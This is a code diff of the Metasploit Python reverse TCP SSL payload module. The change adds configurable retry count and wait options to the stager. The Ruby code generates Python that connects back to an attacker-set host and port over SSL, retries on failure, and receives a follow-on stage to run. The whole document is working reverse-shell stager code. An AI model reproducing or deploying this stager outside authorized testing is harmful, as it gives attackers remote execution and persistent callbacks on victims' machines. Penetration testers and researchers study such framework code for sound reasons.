@@ -15,14 +15,23 @@ module Payload::Python::ReverseTcpSsl
15
15
16
16
include Msf ::Payload ::Python
17
17
include Msf ::Payload ::Python ::ReverseTcp
18
+ def initialize ( *args )
19
+ super
20
+ register_advanced_options ( [
21
+ OptInt . new ( 'StagerRetryCount' , [ false , 'The number of times the stager should retry if the first connect fails (zero to infinite retries)' , 10 ] ) ,
22
+ OptInt . new ( 'StagerRetryWait' , [ false , 'Number of seconds to wait for the stager between reconnect attempts' , 5 ] )
23
+ ] , self . class )
24
+ end
18
25
19
26
#
20
27
# Generate the first stage
21
28
#
22
29
def generate
23
30
conf = {
24
31
port : datastore [ 'LPORT' ] ,
25
- host : datastore [ 'LHOST' ]
32
+ host : datastore [ 'LHOST' ] ,
33
+ retry_count : datastore [ 'StagerRetryCount' ] ,
34
+ retry_wait : datastore [ 'StagerRetryWait' ] ,
26
35
}
27
36
28
37
generate_reverse_tcp_ssl ( conf )
@@ -42,10 +51,29 @@ def supports_ssl?
42
51
43
52
def generate_reverse_tcp_ssl ( opts = { } )
44
53
# Set up the socket
45
- cmd = "import ssl,socket,struct\n "
46
- cmd << "so=socket.socket(2,1)\n " # socket.AF_INET = 2
47
- cmd << "so.connect(('#{ opts [ :host ] } ',#{ opts [ :port ] } ))\n "
48
- cmd << "s=ssl.wrap_socket(so)\n "
54
+ cmd = "import ssl,socket,struct#{ datastore [ 'StagerRetryWait' ] . to_i > 0 ? ',time' : '' } \n "
55
+ if opts [ :retry_wait ] . blank? # do not retry at all (old style)
56
+ cmd << "so=socket.socket(2,1)\n " # socket.AF_INET = 2
57
+ cmd << "so.connect(('#{ opts [ :host ] } ',#{ opts [ :port ] } ))\n "
58
+ cmd << "s=ssl.wrap_socket(so)\n "
59
+ else
60
+ if opts [ :retry_count ] > 0
61
+ cmd << "for x in range(#{ opts [ :retry_count ] . to_i } ):\n "
62
+ else
63
+ cmd << "while 1:\n "
64
+ end
65
+ cmd << "\t try:\n "
66
+ cmd << "\t \t so=socket.socket(2,1)\n " # socket.AF_INET = 2
67
+ cmd << "\t \t so.connect(('#{ opts [ :host ] } ',#{ opts [ :port ] } ))\n "
68
+ cmd << "\t \t s=ssl.wrap_socket(so)\n "
69
+ cmd << "\t \t break\n "
70
+ cmd << "\t except:\n "
71
+ if opts [ :retry_wait ] . to_i <= 0
72
+ cmd << "\t \t pass\n " # retry immediately
73
+ else
74
+ cmd << "\t \t time.sleep(#{ opts [ :retry_wait ] } )\n " # retry after waiting
75
+ end
76
+ end
49
77
cmd << py_send_uuid if include_send_uuid
50
78
cmd << "l=struct.unpack('>I',s.recv(4))[0]\n "
51
79
cmd << "d=s.recv(l)\n "
0 commit comments